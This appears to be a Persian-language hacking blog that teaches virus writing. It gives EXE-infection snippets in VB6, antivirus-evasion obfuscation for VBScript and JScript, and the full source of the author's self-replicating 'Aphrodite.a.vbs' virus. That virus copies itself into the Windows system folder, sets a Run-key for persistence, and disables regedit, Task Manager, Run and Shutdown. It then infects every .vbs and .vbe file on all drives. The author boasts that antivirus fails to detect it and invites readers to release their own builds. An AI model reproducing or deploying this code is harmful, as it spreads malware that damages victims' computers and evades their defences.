برنامه ي Iranian exe infector در وبلاگ موجود مي باشد.اين برنامه در  ويژوال بيسيك 6 نوشته شده است.با سورس برنامه هم روش آلوده كردن فايل هاي exe رو ياد مي گيريد هم مي تونيد IEI خودتون رو بسازيد. بعدش به اسم خودتون منتشرش كنيد.

براي به دست آوردن پسورد فايل ايميل خود را نظرات زير بنويسيد.كلمه ي رمز به پست الكترونيك شما فرستاده مي شود.سورس برنامه رو از اين لينك دانلود كنيد.

آشنايي كلي با آلوده كردن فايل هاي Vbs

اين مقاله بدون پسورد است!خيلي وقت پيش نوشتمش اما هنوز خيلي ها اونو بلد نيستن(البته به جز شما).سه روش آلوده سازي فايل هاي vbs رو توضيح داده.تازه براي هر كدوم يه دونه ويروس نمونه داده.مطمئن باشيد از ديدنش پشيمون نمي شيد.

استفاده از مطالب اين پست بدون ذكر منبع مجاز مي باشد !

در قسمت اول و دوم ایم مقاله به ترتیب به توضیح روش کلی آلوده سازی و یافتن فایل های exe پرداختیم.یاد آوری می کنم که برای آلوده ساختن فایل به روش کنترلی به سه فایل نیاز داشتیم :

1. یک فایل exe برای آلوده شدن 
2. یک فایل ویروسی مثل ویروس خودمون 
3. یک فایل کنترلی

در این قسمت کد نویسی فایل دوم برنامه را آغاز می کنیم.وظیفه ی این فایل آلوده کردن فایل  exe (شماره ی 1) می باشد.فایل جدید هر سه فایل را در بر خواهد داشت.

به خاطر دارید که یک فایل را نمی توان بیش از یک بار آلوده کرد.پس قبل از آلوده سازی هر فایل باید تشخیص دهیم که آیا آن فایل قبلا آلوده شده است یا نه.برای این کار نشانه ای در فایل قرار می دهیم و قبل از آلوده کردن وجود یا عدم وجود آن نشانه در فایل را بررسی می کنیم.

قرار دادن نشانه :

Open file_1 for random as #1

Put #1, 40, "1"

Close

این دستورات در بایت چهلم فایل نشانه ی 1 را قرار می دهد.نشانه را جایی قرار دهید که فایل خراب نشود.file_1 آدرس فایلی است که آلوده شده است.این عمل را باید بعد از آلوده کردن فایل انجام داد.

تشخیص نشانه :

Open file_1 for random as #1

Dim n as string

Get #1, 40, n

If n="1" then

Close #1

End if

اگر نشانه ی موجود در بایت چهلم برابر با نشانه ای بود که خودمان در فایل قرار داده بودیم، فایل را می بندیم و به دنبال فایل دیگری می گردیم.

قبل از نوشتن قسمت بعدی کدها، سورس زیر را در ماژول برنامه کپی کنید.

Public Type FileData

 File1 As String

 File2 As String

End Type

Public Type Name

 F1 As String

 F2 As String

End Type

Public Datas As FileData

Public Names As Name

Public DataBag As New PropertyBag

ویروس فایل کنترلی را به جای فایل exe قرار می دهد.سپس کدهای خود و فایل را به انتهای فایل کنترلی اضافه می کند.پس باید قبل از این کار اطلاعات فایل exe و خود را بخواند.خط اول تا چهارم سورس برای این کار آورده شده اند.خط پنجم تا هشتم برای نام های فایل exe و ویروس هستند.خط آخر هم یک بسته ی اطلاعاتی ایجاد می کند.ما می خواهیم این بسته را در انتهای فایل کنترلی قرار دهیم.این بسته شامل کدهای ویروس و کدهای فایل exe و نام ویروس و نام فایل exe خواهد بود.فایل کنترلی این بسته را از آخر خود می خواند و برای ساختن فایل exe و ویروس و اجرا کردن آن ها به این نام ها نیاز دارد.

قسمت بعدی مقاله :

1.پر کردن بسته ی اطلاعاتی

2.تزریق ماده ی وراثتی (فایل شماره ی 3)

در جای جای وبلاگ آموزش اینکریپت کردن فایل ها رو می تونید ببینید مثل پست قبل اما این پست رو به خاطر دوست هکر و ویروس نویس عزیزمون مدیر وبلاگ هکر های مهربان می نویسم که گفته بود مطلبی بنویسم که هر کسی با خلاقیت خودش بتونه ویروس ها رو اینکریپت کنه.به طور کلی دو روش برای این کار وجود داره که عبارتند از:

1.تغییر پسوند فایل

2.تغییر اطلاعات درون فایل به اطلاعات مبهم

آموزش هایی دورن وبلاگ در مورد اولی هست مثل آموزش تبدیل ویروس bat به vbs یا vbs به bat و بعضی از آموزش ها که دو گزینه داخلش به کار رفته مثل آموزش تبدیل ویروس vbs به js.

البته مورد یک خودش به سه قسمت تبدیل میشه که عبارتند از:

الف.تبدیل اسکریپت به اسکریپت

ب.تبدیل اسکریپت به اجرایی

ج.تبدیل اجرایی به اجرایی

مکانیزم کلی این سه روش را در ادامه نوشته ام.

الف.تبدیل اسکریپت به اسکریپت:

برای این کار باید به دو زبان اسکریپت آشنا باشید.برای مثال ابتدا ویروستون را به زبان A می نویسید.حالا به زبان B یک فایل می نویسید که کدهای ویروس به زبان A را در یک فایل دیگر به زبان A در مسیری دلخواه وارد کند و سپس آن فایل را اجرا کند.

ب.تبدیل اسکریپت به اجرایی

روش اول:از برنامه های از پیش تهیه شده استفاده کنید مانند فایل زیر که فایل vbs رو به فایل اجرایی com تبدیل می کند.

دانلود فایل با حجم 1.6 کیلو بایت

توجه:این فایل تحت DOC اجرا می شود.

روش دوم:ابتدا ویروستان را به زبان اسکریپت می نویسید.سپس یک فایل اجرایی می سازید که یک فایل به زبان اسکریپت در مسیری دلخواه بسازد و کدهای ویروس به زبان اسکریپت را در آن وارد کند و سپس فایل اسکریپت را اجرا کند.

ج.تبدیل اجرایی به اجرایی

روش اول:باز هم از برنامه های از پیش تهیه شده استفاده کنید مانند فایل زیر که حجم فایل هایی مانند EXE را کم می کند و سپس خودتان می توانید از طریق rename کردن پسوند فایل را به com تبدیل کنید یا بر عکس.

دانلود فایل با حجم 124 کیلو بایت

توجه:این فایل هم تحت DOC اجرا می شود.

روش دوم:ویروستان را به عنوان یک resource به فایل اجرایی با پسوند دیگر اضافه کنید.سپس فایل resource را استخراج کرده و اجرا کنید.

مورد دوم هم به چندین روش تقسیم می شود که عبارتند از:

الف.char encryption

ب.strreverse encryption

ج.polyencryption

د.hex encryption

ه.polymorphsm

این پنج روش بیشتر برای اسکریپت ها کاربرد دارد.در این پست به آموزش دو روش اکتفا می کنیم.

الف.char encryption

در پست قبل یاد گرفتیم که چه طور کدهای ویروس رو با تابع asc به عدد تبدیل کنیم.حالا ما همون عدد ها رو در دور از چشم آنتی ویروس ها به کد تبدیل می کنیم و در دور از چشم آنتی ویروس ها اجرا می کنیم.این کار رو برای هر خط انجام می دیم:

کدها قبل از اینکریپت:

Msgbox "reza"

Msgbox "reza"

کدها بعد از اینکریپت:

r = "execute(chr(109)&chr(115)&chr(103)&chr(98)&chr(111)&chr(120)&chr(32)&chr(34)&chr(114)&chr(101)&chr(1" r = r & "22)&chr(97)&chr(34)&chr(58)&chr(10))" execute r r = "execute(chr(109)&chr(115)&chr(103)&chr(98)&chr(111)&chr(120)&chr(32)&chr(34)&chr(114)&chr(101)&chr(1" r = r & "22)&chr(97)&chr(34)&chr(58)&chr(10))" execute r

توجه:برای هر خط عمل encryption را انجام دهید.

ب.strreverse encryption

ابتدا هر خط از ویروس بر عکس می شود.به عنوان مثال کلمه ی reza به azer تبدیل می شود.سپس در ابتدای هر خطی که بر عکس شده است علامت ' را قرار داده می شود تا یک توضیح محسوب شود.بعد از آن کدهایی نوشته می شوند که با توجه به تعداد خط هایی که برعکس شده اند ابتدا همه را می خواند و سپس دوباره برعکس می کند و علامت ' هم از آن ها بر می دارد و آن ها را اجرا می کند.

کدها قبل از اینکریپت:

Msgbox "reza"

Msgbox "reza"

کدها بعد از اینکریپت:

'"azer" xobgsm '"azer" xobgsm On error resume next Set fso = CreateObject("scripting.filesystemobject") Set c = fso.opentextfile(wscript.scriptfullname) n=2 Do buffer = c.readline buffer2 = strreverse(buffer) buffer3 = Mid(buffer2, 1, Len(buffer2) - 1) all=all &":"& buffer3 n = n - 1 Loop While n <> 0 r = Mid(All, 2, Len(All) - 1) execute(r)

توجه:بعد از n= تعداد خط هایی که برعکس کرده اید را بنویسید.

موفق باشید.

با روشی که گفته می شود می توانیید ویروس vbs ای که نوشته اید را به ویروس جاوا اسکریپت تبدیل کنید.یادگیری این کار دو فایده دارد.

1.آنتی ویروس ها به هیچ وجه ویروس شما را شناسایی نمی کنند.

2.مهارت تبدیل هر فایل vbs دیگر به js را خواهید داشت.

آنتی ویروس ها ویروس شما را نمی شناسند نیز خود دو علت دارد.

1.کدهای ویروس شما نه به زبان vbs است و نه js .

2.آنتی ویروس ها روی فایل های vbs حساسیت بیشتری دارند.

ابتدا با تابع asc ،شماره ی اسکی هر حرف ار سورس ویروس را به دست آورید و آن را یادداشت کنید.

R = asc("")

Msgbox(R)

بین دو علامت "" فقط یک حرف بنویسد اما اگر با error در مواجه شدید اول حرف مورد نظر را بنویسید و سپس یک حرف دلخواه اضافه کنید.

بعد از انجام این کار از کدهای js زیر به طوری که گفته می شود استفاده کنید.

var ntodqaik=String.fromCharCode(109,115,103,98,111,120,32,34,114,101,122,97,34,13,10,109,115,103,98,111,120,32,34,114,101,122,97,34) var fqsuitpt=WScript.CreatEoBJECT("Scripting.filesystemobject").CreateTextFile("fhkrqsmp.vbs") for(lolpknfd=0; lolpknfd<ntodqaik.length; lolpknfd++){ try{fqsuitpt.write(ntodqaik.charAt(lolpknfd))} catch(ddgvjjge){}} WScript.CreateObject("WScript.Shell").run("fhkrqsmp.vbs",0)

Msgbox "reza"

Msgbox "reza"

در خط اول این کدها از تابع chr استفاده شده است که درست برعکس asc کار می کند.یعنی حرف هایی که به عدد تبدیل کرده اید را به همان حرف ها تبدیل می کند.عبارت 13,10 در همین خط نیز به معنی نوشتن در خط بعد می باشد.در این کدها فقط یک بار از این عبارت استفاده شده است.

کدهایی که نوشته اید را در notepad کپی کرده و با پسوند js ذخیره کنید.جواب سوال هاتون هم در قسمت نظرات وبلاگ نوشتم.

دانلود ویروس Aphrodite.a.vbs رو که خودم نوشتمش رو تو وبلاگ گذاشتم.همون طور که در پست قبل گفتم این ویروس دارای دو قسمت است.در پست قبل قسمت installation این ویروس رو آموزش دادم و تو این پست قسمت infection ویروس رو آموزش میدم.در این قسمت،ویروس فایل های vbs و vbe موجود در تمام درایوهای کامپیوتر را آلوده می کند.کدهای قسمت دوم ویروس رو در زیر میبینید:

set drives=f.drives for each drive in drives if drive.isready then dosearch drive & "\" end If next function dosearch(path) on error resume next set folder=f.getfolder(path) set files = folder.files for each file in files t=f.getextensionname(file.path) t=lcase(t) if (t="vbs") or (t="vbe") then fp = (file.path) set k = f.opentextfile(fp, 1) k1 = k.readall k2= instr(1, k1, ".::aphrodite.vbs::.", 1) if k2 = 0 then set d = f.getfile(fp) v = d.attributes d.attributes = 0 set k3 = f.opentextfile(fp, 8) k3.writeline(" ") k3.writeline(c) d.attributes = v end if end if next set subfolders = folder.subfolders for each subfolder in subfolders dosearch subfolder.path Next end function

من دانلود سورس ویروس Aphrodite.a.vbs رو در قسمت قبل گذاشتم.

این ویروس از دو قسمت تشکیل شده:

1.installation

2.infection

امروز قسمت installation این ویروس رو آموزش میدم که خیلی به شما در ضمینه نوشتن ویروس کمک میکنه.در این قسمت،ویروس،خودش را بر روی هر ویندوزی که باشد نصب میکند.کدهای قسمت اول ویروس رو در زیر مشاهده میکنید:

on error resume next set w = createobject("wscript.shell") rk = "HKCU\Software\Microsoft\Windows Script Host\Settings\Timeout" tmo = w.regread(rk) if not(tmo = 0) then w.RegWrite rk ,0,"REG_DWORD" end if set f = createobject("scripting.filesystemobject") set s = f.getspecialfolder(1) h = s & "\aphrodite.vbs" set m = f.opentextfile(wscript.scriptfullname) c = m.readall if f.fileexists(h) = false then f.copyfile wscript.scriptfullname, h set l = f.getfile(h) l.attributes = 1 else set o = f.opentextfile(h,1) e = o.readall i1 = instr(1, e, ".::aphrodite.vbs::.", 1) if i1 = 0 then l.attributes = 0 f.copyfile wscript.scriptfullname, h l.attributes = 1 end if end if lm = "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" er = w.regread(lm & "aphrodite") if not(er = h) then w.regwrite lm & "aphrodite", h end if cu = "HKCU\software\microsoft\windows\currentversion\policies\" w.regwrite cu & "system\disableregistrytools",1, "REG_DWORD" w.regwrite cu & "system\disabletaskmgr",1, "REG_DWORD" w.regwrite cu & "Explorer\NoRun", 1, "REG_DWORD" w.regwrite cu & "Explorer\NoClose", 1, "REG_DWORD"

خط اول رو که همتون میدونید.در خط دوم ما شئ wscript.shell را برای دسترسی به رجیستری تعریف میکنیم.در خط سوم متغیری به نام rk را مقدار دهی کردم و در خط چهارم از متد regread برای خوندن رجیستری استفاده کردم.چیزی که خونده شده همان rk بوده.rk در این جا همان مسیر تنظیمات timeout برای فایل های vbs میباشد.خب ما در خط چهارم مقدار این مسیر در رجیستری رو خوندیم و در متغیر tmo قرار دادیم.در خط پنجم میگه که اگه tmo برابر صفر نبود کدهای بعدی رو اجرا میکنه.کد بعدی کد خط ششم است که مقدار صفر را برابر آن مقدار در رجیستری قرار میدهد.اگر این مقدار یک باشد،ویروس پس از یک ثانیه از کار میفته اما قبل از این که یک ثانیه بشه،ویروس این مقدار رو برابر صفر میکنه که یعنی غیرفعال.خط هفتمم که پایان شرطی بود که گذاشتیم.در خط هشتم هم شیئ fso را برای دسترسی به فایل ها،فولدر ها و درایو ها تعریف کردم و در خط نهم با متد getspecialfolder مسیر پوشه سیستم ویندوز رو به دست میاریم و در خط دهم یه مسیر به نام h رو تعریف میکنیم که قراره مسیر ویروس در کامپیوتر قربانی باشه.در خط یازدهم ویروس خودشو به عنوان یک فایل متنی باز میکند و در خط دوازدهم تمام محتویات و کدهای خودش را میخواند و در متغیر c قرار میدهد.در خط سیزدهم چک میکند که آیا فایلی با مسیر h وجود داره یا نه.اگه وجود نداشته باشه کد خط های بعدی را اجرا میکند.در خط چهاردهم خودش رو در مسیر h کپی میکنه و سپس در خط پانزده با متد getfile مشخصات فایلی با مسیر h رو میگیره و سپس در خط شانزدهم attributes فایل رو برابر یک قرار میده که همان readonly خالی میشود.اگر خط پانزدهم انجام نشود،خط شانزدهم هم انجام نخواهد شد.در خط هفدهم فقط عبارت else رو میبینید.یعنی اگه طور دیگه باشه و فایلی با مسیر h وجود داشته باشه،کدهای بهدی را تا end if اجرا کند.در خط هجدهم فایل با مسیر h را به صورت یک فایل متنی باز میکند و در خط نوزدهم تمام کدهای فایل را میخواند و در متغیر o قرار میدهد.در خط بیستم چک میکند که آیا عبارت .::Aphrodite.vbs::. در این فایل وجود داره یا نه.در خط بیست و یکم میگوید که اگر این عبارت در فایل وجود نداشته باشه کد خط های بعدی رو اجرا کنه.عبارت .::Aphrodite.vbs::. یک رمز است که مشخص میکند که آیا آن فایل همان ویروس خودمان میباشد یا نه.اگر نه در خط بیست و دوم attributes فایل رو برابر صفر یا همون عادی قرار میدیم و در خط بیست و سوم خودمون رو به جای اون فایل کپی میکنیم و سپس در خط بیست و چهارم دوباره attributes فایل رو برابر یک قرار میدیم که همون readonly خالیه.خط بییست و پنجم و بیست و ششم هم پایان شرط هایی که گذاشتیم رو مشخص میکنه.در خط بیست و هفتم یک مقدار در رجیستری را تعریف میکنیم و در متغیر lm قرار میدیم.در خط بیست و هشتم این مسیر در رجیستری را + Aphrodite میخونیم و در متغیر er قرار میدیم.در خط بیست و نهم میگیم که اگر er برابر h نبود،در خط سی یک مقدار در رجیستری نوشته بشه که باعث میشه ویروس در هر بار اجرای ویندوز اجرا بشه و  خط سی و یکم هم پایان شرطه.در خط سی و دوم یک مسیر در رجیستری را تعریف میکنیم و در متغیر cu قرار میدیم و در خط سی و سوم یک مقدار در رجیستری مینویسیم که باعث غیرفعال شدن regedit میشود.خط های بعدی هم همین کار را انجام میدهند با این تفاوت که خط سی و چهارم taskmanager غیرقعال میشود.غیرفعال شدن regedit و taskmanager به این صورت نیازی به log off یا restart کردن ویندوز نداره ولی در خط سی و پنجم ویروس run موجود در startmenu را غیرفعال میکند و خط سی و ششم هم باعث غیرفعال شدن shutdown موجود در startmenu میشود که این دو نیاز به log off یا restart ویندوز دارند.در این جا قسمت installation ویروس پایان میپذیرد و در پست بعدی قسمت infection ویروس یا همون آلوده کردن فایل ها توسط ویروس رو آموزش میدم.

این ویروس دومین ویروسی است که ساختم و میخوام سورسشو به شما تقدیم کنم.بعضی از آرزوهای ویروسی شما ممکنه تو سورس این ویروس باشه.ساختنش یک هفته وقتمو گرفت.جدیدترین نسخه آنتی ویروس کاسپراسکای با جدیدترین آپدیتش نتونست این ویروس رو شناسایی کنه در حالی که اگه هفت خط از ابتدای این ویروس رو پاک کنید،کاسپراسکای اعلام می کنه که ویروس پیدا شده.تو این پست هم دانلود سورس ویروس رو خواهید داشت و هم توضیح کامل ویروس رو.این ویروس تعدادی از کارهاشو هم با رجیستری انجام میده که عبارتند از:

1.از کار انداختن timeout فایل های vbs بلافاصله پس از اجرا شدن ویروس.

Timeout ،باعث توقف اجرای فایل vbs پس از مدتی که کاربر تعیین کرده میشه.

2.اجرای ویروس در هر بار اجرای ویندوز

3.غیرفعال کردن regedit

4.غیرفعال کردن taskmanager